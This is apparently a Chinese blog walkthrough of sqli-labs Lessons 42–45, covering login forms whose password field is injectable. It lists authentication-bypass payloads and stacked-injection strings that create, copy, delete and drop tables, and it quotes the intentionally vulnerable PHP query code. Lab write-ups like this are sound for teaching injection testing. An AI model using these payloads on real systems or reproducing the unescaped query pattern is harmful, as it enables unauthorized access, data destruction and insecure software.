zoukankan      html  css  js  c++  java
  • sqli-labs 通关指南:Less 42 ~ 45

    Less 42 ~ 45 是使用 POST 提交参数的登录界面,username 字段进行了参数过滤,但是 password 字段没有。此处可以在 password 字段使用万能密码直接夺取用户,也可以在该字段处使用堆叠注入。

    Less 42

    判断注入类型

    打开网页看到登录页面,该页面和 Less 24 的二次注入的页面相似。在用户名使用万能密码测试,全部都登录失败。

    1 OR 1 = 1#
    a' OR 1 = 1#
    a') OR 1 = 1#
    a')) OR 1 = 1#
    a" OR 1 = 1#
    a") OR 1 = 1#
    a")) OR 1 = 1#
    


    在密码字段使用万能密码测试,使用单引号闭合时登录成功。说明用户名参数注入时存在过滤,密码字段存在单引号闭合的字符型注入。

    a' OR 1 = 1#
    


    堆叠注入

    可以在已知某个用户的用户名的条件下使用万能密码夺取用户,也可以使用二次注入进行攻击。由于密码参数没有进行防御,可以在该字段测试堆叠注入。使用 Less 38 的测试流程,每次登陆时完成一步堆叠注入。

    a' OR 1 = 1;CREATE TABLE WhiteMoon LIKE users;#
    a' OR 1 = 1;INSERT INTO WhiteMoon SELECT * FROM users;#
    a' OR 1 = 1;DELETE FROM WhiteMoon;#
    a' OR 1 = 1;DROP TABLE WhiteMoon;#
    

    SQL 查询语句

    username 字段使用 mysqli_real_escape_string() 函数进行转义,而 password 字段没有任何防御措施。

    $username = mysqli_real_escape_string($con1, $_POST["login_user"]);
    $password = $_POST["login_password"];
    
    $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
    if (@mysqli_multi_query($con1, $sql))
    {
          /* store first result set */
          if($result = @mysqli_store_result($con1))
          {
                if($row = @mysqli_fetch_row($result))
    	    {
    	          if ($row[1])
    	          {
    	                return $row[1];
    	          }
    	          else
    	          {
    	                return 0;
    	          }
    	    }
          }
          else 
          {
                echo '<font size="5" color= "#FFFF00">';
    	    print_r(mysqli_error($con1));
    	    echo "</font>";  
          }
    }
    else 
    {
          echo '<font size="5" color= "#FFFF00">';
          print_r(mysqli_error($con1));
          echo "</font>";  
    }
    

    Less 43

    判断注入类型

    在用户名使用万能密码测试,全部都登录失败。在密码字段使用万能密码测试,使用单引号和引号闭合时登录成功。说明用户名参数注入时存在过滤,密码字段存在单引号闭合的字符型注入。

    a' OR 1 = 1#
    a') OR 1 = 1#
    


    堆叠注入

    使用 Less 38 的测试流程,每次登陆时完成一步堆叠注入。

    a') OR 1 = 1;CREATE TABLE WhiteMoon LIKE users;#
    a') OR 1 = 1;INSERT INTO WhiteMoon SELECT * FROM users;#
    a') OR 1 = 1;DELETE FROM WhiteMoon;#
    a') OR 1 = 1;DROP TABLE WhiteMoon;#
    

    SQL 查询语句

    $username = mysqli_real_escape_string($con1, $_POST["login_user"]);
    $password = $_POST["login_password"];
    
    $sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
    

    Less 44

    判断注入类型

    在用户名使用万能密码测试,全部都登录失败。在密码字段使用万能密码测试,使用单引号和引号闭合时登录成功。说明用户名参数注入时存在过滤,密码字段存在单引号闭合的字符型注入。

    a' OR 1 = 1#
    


    堆叠注入

    和 Less 42 完全一样,使用 Less 38 的测试流程,每次登陆时完成一步堆叠注入。

    a' OR 1 = 1;CREATE TABLE WhiteMoon LIKE users;#
    a' OR 1 = 1;INSERT INTO WhiteMoon SELECT * FROM users;#
    a' OR 1 = 1;DELETE FROM WhiteMoon;#
    a' OR 1 = 1;DROP TABLE WhiteMoon;#
    

    SQL 查询语句

    $username = mysqli_real_escape_string($con1, $_POST["login_user"]);
    $password = $_POST["login_password"];
    
    // Check connection
    if (mysqli_connect_errno($con1))
    {
          echo "Failed to connect to MySQL: " . mysqli_connect_error();
    }
    else
    {
          @mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database ######: ");
    }
    /* execute multi query */
    
    $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
    if (@mysqli_multi_query($con1, $sql))
    {
          /* store first result set */
          if($result = @mysqli_store_result($con1))
          {
                if($row = @mysqli_fetch_row($result))
    	    {
    	          if ($row[1])
    	          {
    	                return $row[1];
    	          }
    	          else
    	          {
    	                return 0;
    	          }
    	    }
          }
    }
    

    Less 45

    判断注入类型

    在用户名使用万能密码测试,全部都登录失败。在密码字段使用万能密码测试,使用单引号和引号闭合时登录成功。说明用户名参数注入时存在过滤,密码字段存在单引号闭合的字符型注入。

    a' OR 1 = 1#
    a') OR 1 = 1#
    


    堆叠注入

    和 Less 43 完全一样,使用 Less 38 的测试流程,每次登陆时完成一步堆叠注入。

    a') OR 1 = 1;CREATE TABLE WhiteMoon LIKE users;#
    a') OR 1 = 1;INSERT INTO WhiteMoon SELECT * FROM users;#
    a') OR 1 = 1;DELETE FROM WhiteMoon;#
    a') OR 1 = 1;DROP TABLE WhiteMoon;#
    

    SQL 查询语句

    $username = mysqli_real_escape_string($con1, $_POST["login_user"]);
    $password = $_POST["login_password"];
    
    $sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
    
  • 相关阅读:
    Linux创建删除文件和文件夹
    Linux操作大全
    CentOS7从一般用户切换到root用户
    Eclipse一直building workspace问题解决
    maven项目启动找不到org.springframework.web.context.ContextLoaderListener
    java中如何补齐汉字字符
    java中如何根据函数查询引用的jar包
    delphi中Tkbmmemtable数据转成SQL脚本
    java设计模式(一)——单例模式
    UMl类图基本认识
  • 原文地址:https://www.cnblogs.com/linfangnan/p/13977447.html
Copyright © 2011-2022 走看看